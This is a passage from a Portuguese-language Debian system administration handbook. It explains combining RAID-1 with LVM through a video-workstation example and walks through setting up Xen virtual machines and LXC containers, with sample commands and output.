Se o desempenho
importa…

Se a velocidade de entrada/saída é essencial, especialmente em termos de tempo de
acesso, o uso do LVM e/ou RAID em uma das muitas combinações pode ter algum
impacto no desempenho, e isso pode influenciar nas decisões sobre qual escolher.
Contudo, essas diferenças de desempenho são realmente pequenas, e só serão men-
suráveis em alguns casos de uso. Se desempenho importa, o melhor ganho a ser
obtido seria no uso demídia não rotativa (solid-state drives ou SSDs); seu custo por
megabyte é maior que os discos rígidos padrão, e sua capacidade geralmente é me-
nor, mas ele fornece desempenho excelente para acessos aleatórios. Se o padrão
de uso inclui muitas operações de entrada/saída espalhadas por todo o sistema
de arquivos, por exemplo, para bancos de dados aonde consultas complexas são
executadas rotineiramente, então a vantagem de executá-las em um SSD de longe
superam tudo o que pode ser ganho escolhendo LVM sobre RAID ou o contrário.
Nessas situações, a escolha deveria ser determinada por outras considerações ao
invés de velocidade pura, já que o aspecto desempenho é mais facilmente lidado
usando SSDs.

O terceiro caso de uso notável é quando alguém apenas quer agregar dois discos em um volume,
seja por questões de desempenho, ou para ter um único sistema de arquivos que seja maior que
qualquer dos discos disponíveis. Esse caso pode ser resolvido pelo RAID-0 (ou mesmo um linear-
RAID) e por um volume LVM. Quando nesta situação, e salvo restrições extras (por exemplo,
manter em sintonia com o resto dos computadores se eles usam apenas RAID), a configuração
de escolha irá geralmente ser LVM. A configuração inicial é um pouco mais complexa, mas esse
incremento na complexidade mais do que compensado pela flexibilidade extra que o LVM trás
caso as necessidades mudem ou se novos discos precisem ser adicionados.
Então, é claro, temos uma caso de uso realmente interessante, aonde o sistema de armazena-
mento precisa ser feito tanto para resistência de falha de hardware quanto flexível quando se
trata de alocação de volume. NemRAID nem LVMpodem atender esses dois requisitos por conta
própria; não tem problema, é aqui que nós usamos os dois ao mesmo tempo — ou melhor, um
em cima do outro. O esquema que tem tudo, mas só se tornou um padrão quando o RAID e o
LVM alcançaram a maturidade, é para garantir a redundância de dados, primeiro pelo agrupa-
mento de discos em um pequeno número de grandes arrays RAID, e para usar essas arrays RAID
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como volumes físicos LVM; partições lógicas serão então esculpidas a partir desses LVs para sis-
temas de arquivos. O ponto forte dessa configuração é que, quando um disco falha, apenas um
pequeno número das arrays RAID precisará ser reconstru[ida, limitando assim o tempo gasto
pelo administrador para recuperação.
Vamos ver um exemplo concreto: o departamento de relações públicas da Falcot Corp precisa
de uma estação de trabalho para edição de vídeo, mas o orçamento do departamento não per-
mite investir em hardware de ponta para a finalidade. Uma decisão é tomada para favorecer o
hardware que é específico para a natureza gráfica do trabalho (monitor e placa de vídeo), e ficar
com o hardware genérico para armazenamento. No entanto, como é amplamente conhecido,
o vídeo digital tem sim alguns requisitos especiais para seu armazenamento: a quantidade de
dados a ser armazenado é grande, e a taxa de transferência para leitura e escrita desses dados é
importante para o desempenho geral do sistema (mais que o tempo de acesso típico, por exem-
plo). Essas restrições precisam ser preenchidas com hardware genérico, neste caso com dois
discos rígidos SATA de 300 GB; os dados do sistema também tem que ser resistentes a falha de
hardware, assim como alguns dos dados do usuário. Videoclipes editados tem que realmente
estar seguros, mas vídeo com edição pendente é menos critico, já que eles ainda estão nas fitas
de vídeo.
O RAID-1 e o LVM são combinados para satisfazer essas restrições. Os discos são anexados a
duas controladoras SATA diferentes, para otimizar acesso paralelo e reduzir o risco de falhas
simultâneas, e eles portanto aparecem como sda e sdc. Eles são particionados de forma idêntica,
seguindo o seguinte esquema:

# fdisk -l /dev/sda

Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00039a9f

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 1992060 1990012 1.0G fd Linux raid autodetect
/dev/sda2 1992061 3984120 1992059 1.0G 82 Linux swap / Solaris
/dev/sda3 4000185 586099395 582099210 298G 5 Extended
/dev/sda5 4000185 203977305 199977120 102G fd Linux raid autodetect
/dev/sda6 203977306 403970490 199993184 102G fd Linux raid autodetect
/dev/sda7 403970491 586099395 182128904 93G 8e Linux LVM

• As primeiras partições emambos os discos (por volta de 1GB) sãomontadas emumvolume
RAID-1, md0. Este espelho é diretamente usado para armazenar o sistema de arquivos raiz.

• As partições sda2 e sdc2 são usadas como partição swap, provendo um total de 2 GB de es-
paço swap. Com 1 GB de RAM, a estação de trabalho encontra uma quantidade confortável
de memoria disponível.
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• As partições sda5 e sdc5, assim como a sda6 e sdc6, sãomontadas em dois novos volumes
RAID-1 de 100 GB cada, md1 e md2. Os dois espelhos são iniciados comovolumes físicos para
o LVM, e atribuídos para o grupo de volume vg_raid. Esse VG , portanto, contém 200 GB
de espaço seguro.

• As partições que sobraram, sda7 e sdc7,são diretamente usadas comovolumes físicos, e as-
sociadas a outro VG chamado vg_bulk, o qual portanto terminará com aproximadamente
200 GB de espaço.

Uma vez que os VGs sejam criados, eles podem ser particionados de maneira bem flexível. É
preciso ter em mente que os LVs criados em vg_raid serão preservados mesmo que um dos
discos falhe, o que não será o caso para LVs criados em vg_bulk; por outro lado, o último será
alocado em paralelo nos dois discos, o que permite altas velocidades de leitura ou escrita para
arquivos grandes.
Portanto nós iremos criar os LVs lv_usr, lv_var e lv_home no vg_raid, para hospedar os sis-
temas de arquivos correspondentes; outro grande LV, lv_movies, será usado para hospedar as
versões definitivas dos filmes após a edição. O outro VG será dividido em um grande lv_rushes,
para dados tirados de câmeras digitais de vídeo, e um lv_tmp para arquivos temporários. A loca-
lização da área de trabalho é uma escolhamenos simples de fazer: enquanto bom desempenho é
necessário para esse volume, vale o risco de perda de trabalho se uma falha de disco ocorrer du-
rante uma sessão de edição? Dependendo da resposta essa pergunta, o LV relevante será criado
em um VG ou em outro.
Nós agora temos tanto alguma redundância para dados importantes quanto muita flexibilidade
no modo como o espaço disponível é dividido entre as aplicações. Para novo software que for
instaladomais tarde (para edição de clips de áudio, por exemplo), o LV que hospeda /usr/ pode
ser aumentado sem dor de cabeça.

NOTA

Por que três volumes
RAID-1?

Nós poderíamos ter configurado somente um volume RAID-1, para servir como
volume físico para vg_raid. Por que criar três deles, então?

A razão para a primeira divisão (md0 vs. os outros) é para segurança de dados: da-
dos escritos nos dois elementos de um espelho RAID-1 são exatamente os mesmos,
e é portanto possível ignorar a camada RAID e montar um dos discos diretamente.
No caso de um bug no núcleo, por exemplo, ou se o metadado do LVM se for cor-
rompido, ainda é possível inicializar um sistemamínimo para acessar dados críticos
como o layout de discos nos volumes RAID e LVM; o metadado pode então ser re-
construído e os arquivos podem ser acessados novamente, de modo que o sistema
pode ser trazido de volta ao seu estado nominal.

A razão para a segunda divisão (md1 vs. md2) não é tão bem definida, e mais rela-
cionada ao reconhecimento que o futuro é incerto. Quando a estação de trabalho
é montada na primeira vez, os requisitos exatos de armazenamento não são ne-
cessariamente conhecidos com uma precisão perfeita; eles podem também evoluir
ao longo do tempo. Em nosso caso, nós não podemos saber com antecedência os
requisitos de espaço de armazenamento real para cenas de vídeo e video clips com-
pletos. Se um clip em particular precisa de uma grande quantidade de cenas, e o
VG dedicado a dados redundantes está cheio menos que a metade, nós podemos
reusar algum de seu espaço desnecessário. Nós podemos remover um dos volumes
físicos, digamos o md2, de vg_raid e então ou atribuí-lo ao vg_bulk diretamente
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(se a duração esperada da operação é curta o suficiente para que nós possamos vi-
ver com a temporária queda no desempenho), ou desfazer a configuração RAID em
md2 e integrar seus componentes sda6 e sdc6 no VG maior (o que aumenta para
200 GB ao invés de 100 GB); o volume lógico lv_rushes pode então ser aumentado
de acordo com os requisitos.

12.2. Virtualização

Virtualização é um dos maiores avanços nos anos recentes da computação. O termo cobre vá-
rias abstrações e técnicas de simulação de computadores virtuais com um grau de variabilidade
de independência do hardware real. Um servidor físico pode então hospedar vários sistemas
que trabalham ao mesmo tempo e em isolamento. As aplicações são muitas, e geralmente deri-
vam a partir desse isolamento: ambientes de teste com configurações variáveis por exemplo, ou
separação de serviços hospedados entre diferentes máquinas virtuais para segurança.
Existemmúltiplas soluções de virtualização, cada uma com seus prós e contras. Este livro focará
no Xen, LXC e KVM, mas outras implementações dignas de nota são as seguintes:

• O QEMU é um emulador de software para um computador completo; o desempenho está
longe da velocidade que se poderia alcançar rodando nativamente, mas ele permite ro-
dar sistemas operacionais não modificados ou experimentais no hardware emulado. Ele
tambémpermite a emulação de uma arquitetura de hardware diferente: por exemplo, um
sistema amd64 pode emular um computador arm. O QEMU é software livre.

è http://www.qemu.org/

• Bochs é outra máquina virtual livre, mas somente emula as arquiteturas x86 (i386 e
amd64).

• VMWare é uma máquina virtual proprietária; sendo uma das mais antigas que se tem por
ai, tambéméumadasmais amplamente conhecidas. Ela funciona comprincípios similares
aos do QEMU. A VMWare propõe recursos avançados tais como ”snapshotting” de uma
máquina virtual em execução.

è http://www.vmware.com/

• VirtualBox is a virtual machine that is mostly free software (some extra components are
available under a proprietary license). Unfortunately it is in Debian’s “contrib” section
because it includes some precompiled files that cannot be rebuilt without a proprietary
compiler and it currently only resides in Debian Unstable as Oracle’s policies make it
impossible to keep it secure in a Debian stable release (see #7944661). While younger
than VMWare and restricted to the i386 and amd64 architectures, it still includes some
snapshotting and other interesting features.

è http://www.virtualbox.org/

1https://bugs.debian.org/794466
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12.2.1. Xen

Xen é uma solução de “paravirtualização”. Ele introduz uma fina camada de abstração, cha-
mada de “hypervisor”, entre o hardware e os sistemas superiores; Ele age como um árbitro que
controla o acesso ao hardware feito pelas máquinas virtuais. Entretanto, ele apenas lida com
algumas das instruções, o resto é executado diretamente pelo hardware em nome dos sistemas.
A principal vantagem é que o desempenho não se degradada, e os sistemas rodam perto da ve-
locidade nativa; a desvantagem é que os núcleos dos sistemas operacionais que alguém deseja
usar em um ”hypervisor” Xen precisam ser adaptados para rodar o Xen.
Vamos gastar algum tempo com termos. O ”hypervisor” é a camada mais baixa, que roda dire-
tamente no hardware, até mesmo abaixo do núcleo. Esse ”hypervisor” pode dividir o resto do
software entre vários domínios, que podem ser vistos como muitas máquinas virtuais. Um des-
ses domínios (o primeiro que for iniciado) é conhecido como dom0, e tem um papel especial, já
que apenas esse domínio pode controlar o ”hypervisor” e a execução de outros domínios. Esses
outros domínios são conhecidos como domU. Em outras palavras, e a partir do ponto de vista do
usuário, o dom0 coincide com o “hospedeiro” de outros sistemas de virtualização, enquanto que
o domU pode ser visto como um ”convidado” (“guest”).

CULTURA

Xen e as várias versões do
Linux

O Xen foi inicialmente desenvolvido como um conjunto de patches que viviam fora
da árvore oficial, e não integrados ao núcleo Linux. Ao mesmo tempo, vários siste-
mas de virtualização próximos (incluindo o KVM) necessitavamde algumas funções
genéricas relacionadas a virtualização para facilitar suas integrações, e o núcleo Li-
nux ganhou esse conjunto de funções (conhecidas como interface paravirt_ops ou
pv_ops). Como os patches Xen estavam duplicando algumas das funcionalidades
dessa interface, eles não podiam ser aceitos oficialmente.

A Xensource, a companhia por trás do Xen, portanto, tinha que portar o Xen para
esse novo ”framework”, para que os patches do Xen pudessem ser incorporados
ao núcleo Linux oficial. Isso significa um monte de códigos reescritos, e embora a
Xensource logo tivesse uma versão em funcionamento com base na interface para-
virt_ops, os patches eram apenas progressivamente incorporados no núcleo oficial.
A fusão foi concluída no Linux 3.0.

è http://wiki.xenproject.org/wiki/XenParavirtOps

Como a Jessie é baseada na versão 3.16 do núcleo Linux, os pacotes padrão linux-
image-686-pae e linux-image-amd64 incluem o código necessário, e os patches
específicos para Squeeze e versões anteriores do Debian não são mais necessárias.

è http://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

NOTA

Arquiteturas compatíveis
com Xen

O Xen, atualmente, só está disponível para as arquiteturas i386, amd64, arm64 e
armhf.

CULTURA

Xen e núcleos não-Linux
O Xen requer modificações em todos os sistemas operacionais em que alguém
queira rodá-lo; nem todos os núcleos tem o mesmo nível de maturidade sobre esse
assunto. Muitos são totalmente funcionais, tanto como dom0 quanto domU: Linux
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3.0 e posteriores, NetBSD 4.0 e posteriores, e OpenSolaris. Outros apenas funcio-
nam como domU. Você pode checar o status de cada sistema operacional no wiki
do Xen:

è http://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

è http://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Contudo, se o Xen puder contar com funções de hardware dedicadas a virtualização
(que apenas estão presentes em processadores mais recentes), até mesmo sistemas
operacionais não modificados podem rodar como domU (incluindo o Windows).

Utilizar o Xen com o Debian necessita de três componentes:

• O ”hypervisor” ele próprio. De acordo com o hardware disponível, o pacote apropriado
será xen-hypervisor-4.4-amd64, xen-hypervisor-4.4-armhf, ou xen-hypervisor-4.4-arm64.

• Umnúcleo que rode nesse ”hypervisor”. Qualquer núcleomais recente que o 3.0 irá servir,
incluindo a versão 3.16 presente na Jessie.

• A arquitetura i386 tambémrequer umabiblioteca padrão comospatches apropriados para
aproveitar o Xen; ela está no pacote libc6-xen.

Para evitar o aborrecimento de selecionar esses componentes manualmente, a conveniência de
alguns pacotes (tais com o xen-linux-system-amd64) foram colocados a disposição; todos eles pu-
xam, em uma boa combinação, os pacotes ”hypervisor” e núcleo apropriados. O ”hypervisor”
também trás o xen-utils-4.4, que contém ferramentas para controlar o ”hypervisor” a partir do
dom0. Este, por sua vez, trás a biblioteca padrão apropriada. Durante a instalação de tudo isso,
scripts de configuração também criam uma nova entrada no menu do carregador de inicializa-
ção Grub, a fim de iniciar o núcleo escolhido em um dom0 Xen. Note, contudo, que essa entrada
geralmente não é definida para ser a primeira da lista, e portanto, não será selecionada por pa-
drão. Se esse não é o comportamento desejado, os comandos a seguir irão mudar isso:

# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen
# update-grub

Uma vez que esses pré-requisitos estejam instalados, o próximo passo é testar o comportamento
do próprio dom0; isso envolve uma reinicialização do ”hypervisor” e do núcleo Xen. O sistema
deverá inicializar damaneira usual, comalgumasmensagens extras no console, durante os passo
iniciais da inicialização.
Agora é o momento de realmente instalar sistemas úteis nos sistemas domU, usando as ferra-
mentas do xen-tools. esse pacote provê o comando xen-create-image, que automatiza a ta-
refa em grande parte. O único parâmetro mandatório é o --hostname, dando um nome ao
domU; outras opções são importantes, mas podem ser armazenadas no arquivo de configura-
ção /etc/xen-tools/xen-tools.conf, e assim, a ausência dessas opções na linha de comando
não dispara um error. É, portanto, importante ou checar o conteúdo desse arquivo antes de
criar imagens, ou usar parâmetros extras na invocação do xen-create-image. Parâmetros que
são importantes de notar são os seguintes:
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• --memory, para definir o quantidade de RAM dedicada para o sistema recentemente cri-
ado;

• --size e --swap, para definir o tamanho dos ”discos virtuais” disponíveis para o domU;
• --debootstrap, para fazer comque o novo sistema seja instalado como debootstrap; neste
caso, a opção --dist irá também ser usada mais geralmente (com um nome de distribuição
como a jessie).

Aprofundamento

Instalando um sistema
não Debian em um domU

Em caso de sistemas não-Linux, um certo cuidado deve ser tomado ao defi-
nir qual domU o núcleo deve usar, usando a opção --kernel.

• --dhcp define que a configuração de rede do domU deve ser obtida por DHCP enquanto
--ip permite a definição estática do endereço IP.

• Por fim, um método de armazenamento tem que ser escolhido para as imagens a serem
criadas (aquelas que serão vistas como unidades de disco rígido a partir do domU). O mé-
todo mais simples, que corresponde a opção --dir, é criar um um arquivo no dom0 para
cada dispositivo que o domU deveria fornecer. Para sistemas que usam o LVM, a alterna-
tiva é usar a opção --lvm, seguida pelo nome do grupo de volume; xen-create-image irá
então criar um novo volume lógico dentro desse grupo, e esse volume lógico se tornará
disponível para o domU como uma unidade de disco rígido.

NOTA

Armazenamento em
domU

Discos rígidos inteiros também podem ser exportados para o domU, assim
como as partições, arrays RAID ou volumes lógicos LVMpré-existentes . En-
tretanto, essas operações não são automatizadas pelo xen-create-image.
Logo, editando o arquivo de configuração de imagem do Xen irá pôr em
ordem o arquivo após sua criação inicial com o xen-create-image.

Assim que essas escolhas são feitas, podemos criar uma imagem para o nosso futuro Xen domU:
# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=

å jessie --role=udev

[...]
General Information
--------------------
Hostname : testxen
Distribution : jessie
Mirror : http://ftp.debian.org/debian/
Partitions : swap 128Mb (swap)

/ 2G (ext3)
Image type : sparse
Memory size : 128Mb
Kernel path : /boot/vmlinuz-3.16.0-4-amd64
Initrd path : /boot/initrd.img-3.16.0-4-amd64
[...]
Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary
---------------------
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Hostname : testxen
Distribution : jessie
MAC Address : 00:16:3E:8E:67:5C
IP-Address(es) : dynamic
RSA Fingerprint : 0a:6e:71:98:95:46:64:ec:80:37:63:18:73:04:dd:2b
Root Password : adaX2jyRHNuWm8BDJS7PcEJ

Agora temos uma máquina virtual, mas atualmente não está sendo executada (e portanto so-
mente utilizando espaço de disco do dom0). Obviamente, podemos criar mais imagens, possi-
velmente com parâmetros diferentes.
Antes de ligarmos essas máquinas virtuais, nós precisamos definir como elas serão acessadas.
Elas podem, é claro, serem consideradas como máquinas isoladas, apenas acessadas através de
seus consoles de sistema, mas isso raramente coincide com o padrão de uso. Na maioria das
vezes, um domU será considerado um servidor remoto, e apenas acessado através de uma rede.
No entanto, seria bem inconveniente adicionar uma placa de rede para cada; e por isso é que o
Xen permite a criação de interfaces virtuais, que cada domínio possa ver e usar da forma padrão.
Note que essas interfaces, mesmo que elas sejam virtuais, só serão úteis uma vez conectadas a
uma rede, mesmo que virtual. O Xen tem vários modelos de rede para isso:

• O modelo mais simples é o modelo de ponte bridge; todos as placas de rede eth0 (tanto
no caso do dom0 quanto nos sistemas domU) se comportam como se fossem diretamente
conectadas em um switch de rede.

• Em seguida vem o modelo routing, onde o dom0 se comporta como um roteador que se
põem entre sistemas domU e a rede (física) externa.

• Finalmente, no modelo NAT, o dom0 novamente está entre os sistemas domU e o resto da
rede, mas os sistemas domU não são diretamente acessíveis por fora, e todo o tráfego vai
através de uma tradução de endereços de rede (NAT) para o dom0.

Estes três nós de rede envolvem várias interfaces com nome incomuns, tais como vif*, veth*,
peth* e xenbr0. O ”hypervisor” Xen organiza-os de acordo com qualquer que seja o layout
definido, sob o controle das ferramentas de espaço do usuário. Como o NAT e os modelos de
roteamento adaptam-se apenas a casos particulares, nós só iremos abordar o modelo de ”brid-
ging”.
A configuração padrão dos pacotes Xen não altera a configuração de rede de todo o sistema. No
entanto, o daemon xend é configurado para integrar interfaces de rede virtual com qualquer
bridge de rede pré-existente (com xenbr0 tendo precedência se várias dessas bridges existi-
rem). Nós temos, portanto, de definir uma bridge em /etc/network/interfaces (o que requer
a instalação do pacote bridge-utils, o que explica porque o pacote xen-utils-4.4 o recomenda) para
substituir a entrada eth0 existente:
auto xenbr0
iface xenbr0 inet dhcp

bridge_ports eth0
bridge_maxwait 0
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Depois de reinicializar o computador, para termos certeza que a bridge é criada automatica-
mente, nós podemos agora iniciar o domU com as ferramentas de controle do Xen, em parti-
cular o comando xl. Esse comando permite diferentes manipulações nos domínios, incluindo
listando-os e, iniciando/parando eles.
# xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 463 1 r----- 9.8
# xl create /etc/xen/testxen.cfg
Parsing config from /etc/xen/testxen.cfg
# xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 366 1 r----- 11.4
testxen 1 128 1 -b---- 1.1

FERRAMENTA

Escolha da toolstacks
para gerenciar a VM Xen

No Debian 7 e lançamentos anteriores, o xm era a referência de ferramenta de linha
de comando a ser usada para gerenciar máquinas virtuais Xen. Ele agora foi substi-
tuido pelo xl que é quase completamente retro-compatível. Mas essas não são as
únicas ferramentas disponíveis: virsh da libvirt e xe da XAPI do XenServer (oferta
comercial do Xen) são ferramentas alternativas.

ATENÇÃO

Somente utilize um
domU por imagem!

Enquanto é claro que é possível ter vários sistemas domU rodando em paralelo,
eles todos precisarão usar suas próprias imagens, já que cada domU é feito para
acreditar que ele roda em sue próprio hardware (fora a pequena parte do núcleo
que conversa com o ”hypervisor”). Em particular, não é possível para dois sistemas
domU rodando simultaneamente, compartilhar espaço de armazenamento. Se os
sistemas domU não estiverem rodando ao mesmo tempo, é, no entanto, bem pos-
sível reutilizar uma única partição de troca (swap), ou a partição de hospeda o
sistema de arquivos /home.

Note que o testxen domU usa memória real, retirada da RAM, que estaria de outra forma dis-
ponível para o dom0, não a memória simulada. Portanto, cuidados devem ser tomados quando
se constrói um servidor objetivando hospedar instâncias Xen, disponibilizando a RAM física de
acordo.
Voilà! Nossamáquina virtual está iniciando. Nós podemos acessá-la de uma de duasmaneiras. A
maneira usual é se conectar a ela “remotamente” através da rede, comonós nos conectaríamos a
umamáquina real; isso geralmente irá requerer a configuração de um servidor DHCP ou alguma
configuração de DNS. A outra maneira, que pode ser a única maneira se a configuração de rede
estiver incorreta, é usar o console hvc0, com o comando xl console:
# xl console testxen
[...]

Debian GNU/Linux 8 testxen hvc0

testxen login:
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Então pode-se abrir uma sessão, tal como se faria caso se estivesse sentado em frente ao teclado
da máquina virtual. Desconectar-se desse console é possível através da combinação de teclas
Control+].

DICA

Obtendo o console
imediatamente

Às vezes existe o desejo de iniciar um sistema domU e ir diretamente para o seu
console; é por isso que o comando xl create tem uma opção -c. Iniciar um domU
com esse interruptor irá exibir todas as mensagens de inicialização do sistema.

FERRAMENTA

OpenXenManager
OOpenXenManager (do pacote openxenmanager) é uma interface gráfica que per-
mite o gerenciamento remoto de domínios Xen via a API do Xen. Pode-se assim con-
trolar domínios Xen remotamente. Ele provê a maiorias dos recursos do comando
xl.

Uma vez que o domU está ativo, ele pode ser usado como qualquer outro servidor (a final de
contas é um sistema GNU/Linux ). Contudo, seu status de máquina virtual permite algumas
características extras. Por exemplo, um domU pode, temporariamente, ser pausado e então re-
tomado através dos comandos xl pause e xl unpause. Note que embora um domU pausado
não use qualquer recurso do processador, sua memória alocada ainda está em uso. Talvez possa
ser interessante considerar os comandos xl save e xl restore: ao salvar o domU libera-se os
recursos que eramusados previamente por esse domU, incluindo a RAM. Quando restaurado (ou
retirado da pausa, por assim dizer), um domU não nota nada além da passagem do tempo. Se
um domU estava rodando quando o dom0 é desligado,os scripts empacotados automaticamente
salvam o domU, e o restaurarão na próxima inicialização. Isso irá, é claro, implicar na inconveni-
ência padrão que ocorre quando se hiberna um computador laptop, por exemplo; em particular,
se o domU é suspenso por muito tempo, as conexões de rede podem expirar. Note também que
o Xen é, até agora, incompatível com uma grande parte do gerenciamento de energia do ACPI,
o que impede suspensão do sistema hospedeiro (dom0).

DOCUMENTAÇÃO

opções xl
A maioria dos subcomandos xl esperam um ou mais argumentos, muitas vezes um
nome domU. Esses argumentos estão bem descritos na página de manual xl(1).

Interromper ou reinicializar um domU pode ser feito tanto a partir de dentro do domU (com o
comando shutdown) quanto a partir do dom0, com o xl shutdown ou xl reboot.

APROFUNDAMENTO

Xen avançado
O Xen tem muito mais recursos do que nós podemos descrever nesses poucos pa-
rágrafos. Em particular, o sistema é muito dinâmico, e muitos parâmetros para
um domínio (como a quantidade de memoria alocada, os discos rígidos visíveis, o
comportamento do agendador de tarefas, e assim por diante) podem ser ajustados
até mesmo quando esse domínio está rodando. Um domU pode até mesmo ser mi-
grado entre servidores sem ser desligado, e sem perder suas conexões de rede! Para
todos esses aspectos avançados, a principal fonte de informação é a documentação
oficial do Xen.

è http://www.xen.org/support/documentation.html
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12.2.2. LXC

Mesmoque seja usadopara construir “máquinas virtuais”, o LXCnão é, estritamente falando, um
sistema de virtualização, mas um sistema que isola grupos de processos uns dos outros mesmo
que eles todos rodem na mesma máquina. Ele tira proveito de um conjunto de evoluções recen-
tes do núcleo Linux, coletivamente conhecidas como control groups, de maneira que diferentes
conjuntos de processos chamados de “groups” tem diferentes visões de certos aspectos do sis-
tema global. Os mais notáveis dentre esses aspectos são os identificadores de processo, a confi-
guração de rede, e os pontos demontagem. Tais grupos de processos isolados não terão qualquer
acesso a outros processos do sistema, e esses acessos ao sistema de arquivos podem ser restritos
a um subconjunto específico. Eles também podem ter sua própria interface de rede e tabela de
roteamento, e tambémpodem ser configurados para ver apenas um subconjunto de dispositivos
disponíveis presentes no sistema.
Esses recursos podem ser combinados para isolar toda uma família de processos iniciando a
partir do processo init, e o conjunto resultante se parece muito com uma máquina virtual. O
nome oficial para tal configuração é um “container” (daí o apelido LXC: LinuX Containers), mas
uma diferença bastante importanto com asmáquinas virtuais “reais”, tais como as providas pelo
Xen ou KVM é que não há um segundo núcleo; o container usa o mesmo núcleo que o sistema
hospedeiro. Isso tem tanto prós quanto contras: as vantagens incluem excelente desempenho
devido à total falta de sobrecarga, e o fato que o núcleo tem uma visão global de todos processos
rodando no sistema, então o agendamento pode ser mais eficiente do que seria se dois núcleos
independentes fossem agendar diferentes conjuntos de tarefas. Líder entre os inconvenientes
está a impossibilidade de rodar umnúcleo diferente emumcontainer (seja uma versão diferente
do Linux ou um sistema operacional diferente por completo).

NOTA

limites de isolamento do
LXC

Contêineres LXC não provêm o mesmo nível de isolamento conseguido por emula-
dores ou virtualizadores. Em particular:

• já que o núcleo é compartilhado entre o sistema hospedeiro e os contêineres,
processos restritos ao contêineres ainda podem acessar mensagens do nú-
cleo, o qual pode levar ao vazamento de informação se as mensagem forem
emitidas pelo contêiner;

• por razões parecidas, se o contêiner é comprometido e se uma vulnerabili-
dade do núcleo é explorada, os outros contêineres podem ser afetados tam-
bém;

• no sistema de arquivos, o núcleo verifica as permissões de acordo com os
identificadores numéricos para usuários e grupos; esses identificadores po-
dem designar diferentes usuários e grupos dependendo do container, o que
deve ser mantido emmente se as partes com permissão de escrita do sistema
de arquivos são compartilhadas entre containers.

Como nós estamos lidando com isolamento e não virtualização simples, a criação de containers
LXC é mais complexa do que simplesmente rodar o debian-installer em uma máquina virtual.
Nós iremos descrever alguns pré-requisitos e, em seguida, iremos para a configuração de rede;
para então depois, sermos capazes de realmente criar o sistema para ser rodado no container.
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Etapas Preliminares

O pacote lxc contém as ferramentas necessárias para executar o LXC, e devem portanto serem
instaladas.
O LXC também necessita do sistema de configuração control groups, o qual é um sistema de ar-
quivos virtual que é montado no /sys/fs/cgroup. Como o Debian 8 optou pelo systemd, que
também faz uso de ”control groups”, isso agora é feito automaticamente no momento da inicia-
lização, sem configurações adicionais.

Configuração de Rede

O objetivo de instalar o LXC é configurar máquinas virtuais; enquanto nós poderíamos, é claro,
mantê-las isoladas da rede, e apenas nos comunicarmos com elas através do sistema de arquivos,
a maioria dos casos de uso envolve dar, ao menos, ummínimo acesso de rede para os containers.
No caso típico, cada container irá ter uma interface de rede virtual, conectada à rede real através
de uma bridge. Essa interface virtual pode ser plugada tanto diretamente na interface de rede
física do hospedeiro (e nesse caso o container está diretamente na rede), ou em outra interface
virtual definida no hospedeiro (e o hospedeiro pode então filtrar ou rotear o tráfego). Em ambos
os casos, o pacote bridge-utils será necessário.
O caso simples é a penas uma questão de editar o /etc/network/interfaces, e mover a confi-
guração da interface física (por exemplo eth0) para a interface bridge (usualmente br0), e con-
figurar a ligação entre elas. Por exemplo, se o arquivo de configuração da interface de rede
inicialmente contém entradas como as seguintes:
auto eth0
iface eth0 inet dhcp

Devem ser desabilitados e substituídos pelo seguinte:
#auto eth0
#iface eth0 inet dhcp

auto br0
iface br0 inet dhcp
bridge-ports eth0

O efeito dessa configuração será similar ao que seria obtido se os containers fossem máquinas
plugadas na mesma rede física como o hospedeiro. A configuração “bridge” gerencia o trânsito
dos quadros Ethernet entre todas as interfaces ”bridged”, o que inclui a eth0 física, assim como
as interfaces definidas para os containers.
Em casos onde essa configuração não pode ser usada (por exemplo, se nenhum endereço IP
público pode ser atribuído aos containers), uma interface virtual tap será criada e conectada à
brigde. A topologia de rede equivalente torna-se então de um host com uma segunda placa de
rede conectada em um switch separado, com os containers também conectados nesse switch. O
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host tem então que atuar como um gateway para os containers caso eles sejam feitos para se
comunicar com o mundo exterior.
Em adição ao bridge-utils, essa “rica” configuração requer o pacote vde2; o arquivo /etc/
network/interfaces então torna-se:
# Interface eth0 is unchanged
auto eth0
iface eth0 inet dhcp

# Virtual interface
auto tap0
iface tap0 inet manual
vde2-switch -t tap0

# Bridge for containers
auto br0
iface br0 inet static
bridge-ports tap0
address 10.0.0.1
netmask 255.255.255.0

A rede então pode ser configurada tanto estaticamente nos contêineres, quanto dinamicamente
com um servidor DHCP rodando no host. Tal servidor DHCP deverá ser configurado para res-
ponder as consultas na interface br0.

Configurando o Sistema

Deixe-nos agora configurar o sistema de arquivos a ser usado pelo container. Uma vez que
essa “máquina virtual” não irá rodar diretamente no hardware, alguns ajustes são necessários
quando comparados a um sistema de arquivos padrão, especialmente quando o núcleo, dispositi-
vos e consoles estão em questão. Felizmente, o lxc inclui scripts que praticamente automatizam
essa configuração. Por exemlo, os comandos a seguir (que requerem os pacotes debootstrap e
rsync) irão instalar um container Debian:
root@mirwiz:~# lxc-create -n testlxc -t debian
debootstrap is /usr/sbin/debootstrap
Checking cache download in /var/cache/lxc/debian/rootfs-jessie-amd64 ...
Downloading debian minimal ...
I: Retrieving Release
I: Retrieving Release.gpg
[...]
Download complete.
Copying rootfs to /var/lib/lxc/testlxc/rootfs...
[...]
Root password is ’sSiKhMzI’, please change !
root@mirwiz:~#
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Note que o sistema de arquivo é inicialmente criado em /var/cache/lxc, então émovido para o
seu diretório de destino. Isto proporciona a criação de contêineres idênticos mais rapidamente,
já que somente um cópia é necessária.
Note que o modelo de script de criação do debian aceita uma opção --arch para especificar a
arquitetura do sistema a ser instalado e uma opção --release caso você queira instalar alguma
coisa a mais que a atual versão estável do Debian. Você pode também definir a variável de am-
biente MIRROR para apontar para um espelho Debian local.
O sistema de arquivos recém criado agora contém um sistema Debian mínimo, e por padrão
o container não tem interface de rede (além da loopback). Como isso não é realmente o que
